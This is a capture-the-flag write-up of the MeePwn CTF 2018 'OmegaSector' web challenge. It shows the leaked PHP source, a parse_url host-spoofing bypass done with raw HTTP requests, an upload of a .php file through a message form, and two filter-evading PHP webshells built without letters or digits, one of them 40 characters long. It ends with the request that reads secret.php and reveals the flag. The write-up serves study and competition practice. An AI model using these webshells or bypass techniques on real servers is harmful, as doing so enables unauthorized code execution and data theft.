Version
By
Version
Comment
noraj
1.0
Creation
CTF
Name : Meepwn CTF Quals 2018
Website : ctf.meepwn.team
Type : Online
Format : Jeopardy
CTF Time : link
OmegaSector - Web
Wtf !? I just want to go to OmegaSector but there is weird authentication here, please help me
http://138.68.228.12/
Note: the IP address changed several times during the competition.
Let's take a look at the source:
$ curl http://178.128.87.21:9003/
< html >
< style type = "text/css" > * {cursor: url ( assets/maplcursor.cur ), auto !important ;}</ style >
< head >
< link rel = "stylesheet" href = "assets/omega_sector.css" >
< link rel = "stylesheet" href = "assets/tsu_effect.css" >
</ head >
< h2 id = "intro" class = "neon" >Seems like you are not belongs to this place, please comeback to ludibrium!</ h2 >< img src = "assets/map.jpg" id = "taxi" width = "55%" height = "55%" />< body background = "assets/background.jpg" class = "cenback" >
</ body >
<!-- is_debug=1 -->
<!-- All images/medias credit goes to nexon, wizet -->
</ html >
Nice! A debug page, now try: http://178.128.87.21:9003/?is_debug=1
and get the source code.
< ? php
ob_start ();
session_start ();
? >
< html >
< style type = "text/css" >* {cursor: url (assets / maplcursor . cur), auto ! important;} </ style >
< head >
< link rel = "stylesheet" href = "assets/omega_sector.css" >
< link rel = "stylesheet" href = "assets/tsu_effect.css" >
</ head >
< ? php
ini_set ( "display_errors" , 0 );
include ( 'secret.php' );
$remote = $_SERVER [ 'REQUEST_URI' ];
if ( strpos ( urldecode ( $remote ), '..' ))
{
mapl_die ();
}
if ( !parse_url ( $remote , PHP_URL_HOST ))
{
$remote = 'http://' . $_SERVER [ 'REMOTE_ADDR' ] . $_SERVER [ 'REQUEST_URI' ];
}
$whoareyou =parse_url ( $remote , PHP_URL_HOST );
if ( $whoareyou === "alien.somewhere.meepwn.team" )
{
if ( !isset ( $_GET [ 'alien' ]))
{
$wrong = <<< EOF
<h2 id="intro" class="neon">You will be driven to hidden-street place in omega sector which is only for alien! Please verify your credentials first to get into the taxi!</h2>
<h1 id="main" class="shadow">Are You ALIEN??</h1>
<form id="main">
<button type="submit" class="button-success" name="alien" value="Yes">Yes</button>
<button type="submit" class="button-error" name="alien" value="No">No</button>
</form>
<img src="assets/taxi.png" id="taxi" width="15%" height="20%" />
EOF ;
echo $wrong ;
}
if ( isset ( $_GET [ 'alien' ]) and !empty ( $_GET [ 'alien' ]))
{
if ( $_GET [ 'alien' ] === '@!#$@!@@' )
{
$_SESSION [ 'auth' ] =hash ( 'sha256' , 'alien' . $salt );
exit ( header ( "Location: alien_sector.php" ));
}
else
{
mapl_die ();
}
}
}
elseif ( $whoareyou === "human.ludibrium.meepwn.team" )
{
if ( !isset ( $_GET [ 'human' ]))
{
echo "" ;
$wrong = <<< EOF
<h2 id="intro" class="neon">hellu human, welcome to omega sector, please verify your credentials to get into the taxi!</h2>
<h1 id="main" class="shadow">Are You Human?</h1>
<form id="main">
<button type="submit" class="button-success" name="human" value="Yes">Yes</button>
<button type="submit" class="button-error" name="human" value="No">No</button>
</form>
<img src="assets/taxi.png" id="taxi" width="15%" height="20%" />
EOF ;
echo $wrong ;
}
if ( isset ( $_GET [ 'human' ]) and !empty ( $_GET [ 'human' ]))
{
if ( $_GET [ 'human' ] === 'Yes' )
{
$_SESSION [ 'auth' ] =hash ( 'sha256' , 'human' . $salt );
exit ( header ( "Location: omega_sector.php" ));
}
else
{
mapl_die ();
}
}
}
else
{
echo '<h2 id="intro" class="neon">Seems like you are not belongs to this place, please comeback to ludibrium!</h2>' ;
echo '<img src="assets/map.jpg" id="taxi" width="55%" height="55%" />' ;
if ( isset ( $_GET [ 'is_debug' ]) and !empty ( $_GET [ 'is_debug' ]) and $_GET [ 'is_debug' ] === "1" )
{
show_source ( __FILE__ );
}
}
? >
< body background = "assets/background.jpg" class = "cenback" >
</ body >
<! -- is_debug = 1 -- >
<! -- All images / medias credit goes to nexon, wizet -- >
</ html >
< ? php ob_end_flush (); ? >
Let's focus on that piece of code:
if ( strpos ( urldecode ( $remote ), '..' ))
{
mapl_die ();
}
if ( !parse_url ( $remote , PHP_URL_HOST ))
{
$remote = 'http://' . $_SERVER [ 'REMOTE_ADDR' ] . $_SERVER [ 'REQUEST_URI' ];
}
$whoareyou =parse_url ( $remote , PHP_URL_HOST );
if ( $whoareyou === "alien.somewhere.meepwn.team" )
We are requesting http://138.68.228.12/
but we need to make it looks like it was http://human.ludibrium.meepwn.team/
or http://alien.somewhere.meepwn.team/
.
Sounds impossible right?
Then we quickly found a vulnerability called PHP < 5.6.28 parse_url() bypass HOST to return fake host
.
Here are some great resources about it:
So I tried some requests like that:
$ curl -v "http://138.68.228.12:80?@human.ludibrium.meepwn.team&human=Yes"
$ curl -v "http://138.68.228.12:80?@alien.somewhere.meepwn.team&alien=%40%21%23%24%40%21%40%40"
$ curl -v "http://138.68.228.12:80?@human.ludibrium.meepwn.team/"
$ curl -v "http://138.68.228.12:80#@human.ludibrium.meepwn.team/"
But it didn't worked and after I read the slide from the blackhat US 2017 (page 24) I thought it was because curl was vulnerable and not fixed so curl was trapped before sending the request.
I tried a lot of variations, in perl, in ruby, with wget, but the truth was not here.
Then a member of my team came with a great idea: using the following request in burp.
GET http://alien.somewhere.meepwn.team/?alien=%40%21%23%24%40%21%40%40 HTTP/1.1
Host: 138.68.228.12
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:61.0) Gecko/20100101 Firefox/61.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=6io9ihsnvah023hju08035frg4
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Oh yeah this time it worked, we are redirected to alien_sector.php
with a valid session.
The same thing worked for the human counterpart too.
On those pages there is a form that allows us to leave a message that is then saved on the web server directory.
Files are saved with .human
or .alien
extension. But we can change the extension to .php
with type=php
.
POST /alien_sector.php HTTP/1.1
Host: 138.68.228.12
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:61.0) Gecko/20100101 Firefox/61.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://138.68.228.12/alien_sector.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 29
Cookie: PHPSESSID=6io9ihsnvah023hju08035frg4
Connection: close
Upgrade-Insecure-Requests: 1
message=%3c%3f%3f%3e&type=php
Sounds easy now? But it's not at all!
In the alien form we can send a message with all chars we want except letters and numbers else we got Uh huh? Wut is this language?
.
And in the human form we can only use letters and numbers but no other chars even spaces or line feed.
I thought that the human way was impossible. The alien way must be possible with something equivalent to JS brainfuck but in PHP.
So I searched and found this article [Bypass WAF] Php webshell without numbers and letters .
I invite you to read this article. The author is using two methods:
The first with XOR operation, we can't use this webshell as it involves some letters and numbers
Another one with an arithmetic operations trick
So let's send this webshell:
< ?
$_ = [];
$_ = @ " $_ " ;
$_ = $_ [ '!' == '@' ];
$___ = $_ ;
$__ = $_ ;
$__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++;
$___ .= $__ ;
$___ .= $__ ;
$__ = $_ ;
$__ ++; $__ ++; $__ ++; $__ ++;
$___ .= $__ ;
$__ = $_ ;
$__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++;
$___ .= $__ ;
$__ = $_ ;
$__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++;
$___ .= $__ ;
$____ = '_' ;
$__ = $_ ;
$__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++;
$____ .= $__ ;
$__ = $_ ;
$__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++;
$____ .= $__ ;
$__ = $_ ;
$__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++;
$____ .= $__ ;
$__ = $_ ;
$__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++;
$____ .= $__ ;
$_ = $$____ ;
$___ ( $_ [_]);
? >
That should have been too easy, now we get this error message Signal OVERLOAD!!!!! only 40 o e i e
. That doesn't make any sens but I understand (and I checked) that our webshell can't be larger than 40 chars.
I didn't have time to make a smaller webshell.
After the CTF was ended, I asked tsug0d (the author of the challenge) how it was possible.
He told me it was a mix of the two methods, this way he can make a webshell that is 40 chars long:
< ? = $_ = "`{{{" ^ "?<>/" ;${ $_ }[_](${ $_ }[__]);
// equivalent to $_GET[_]($_GET[__]);
The first part is about xoring:
with
to create _GET
. So we have $_='_GET'
.
Then ${}
is called variable variables in PHP.
So ${$_}
gives $_GET
.
At the end we get:
I wanted to try it, so I sent:
POST /alien_sector.php HTTP/1.1
Host: 138.68.228.12
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:61.0) Gecko/20100101 Firefox/61.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://138.68.228.12/alien_sector.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 127
Cookie: PHPSESSID=6io9ihsnvah023hju08035frg4
Connection: close
Upgrade-Insecure-Requests: 1
message=%3C%3F%3D%24_%3D%22%60%7B%7B%7B%22%5E%22%3F%3C%3E%2F%22%3B%24%7B%24_%7D%5B_%5D%28%24%7B%24_%7D%5B__%5D%29%3B&type=php
highsenburger69 payload to exploit the webshell and reveal the flag:
http://138.68.228.12/alien_message/4e0ef0ca29f448295f9540ae1e618315.php?_=highlight_file&__=../secret.php
So we get:
< ? php
$salt = 'G0g0_M3s0sr4ng3rS_1337' ;
$omega_sector_flag = "MeePwnCTF{__133-221-333-123-111___}" ;
//Don't attack further after captured our flag, or we will find you and we will kill you... oops, i mean ban you ^_^.
function mapl_die ()
{
$wrong = <<< EOF
<body background="assets/wrong.jpg" class="cenback"></body>
EOF ;
die ( $wrong );
}
? >
The challenge was original and hard enough to resist us.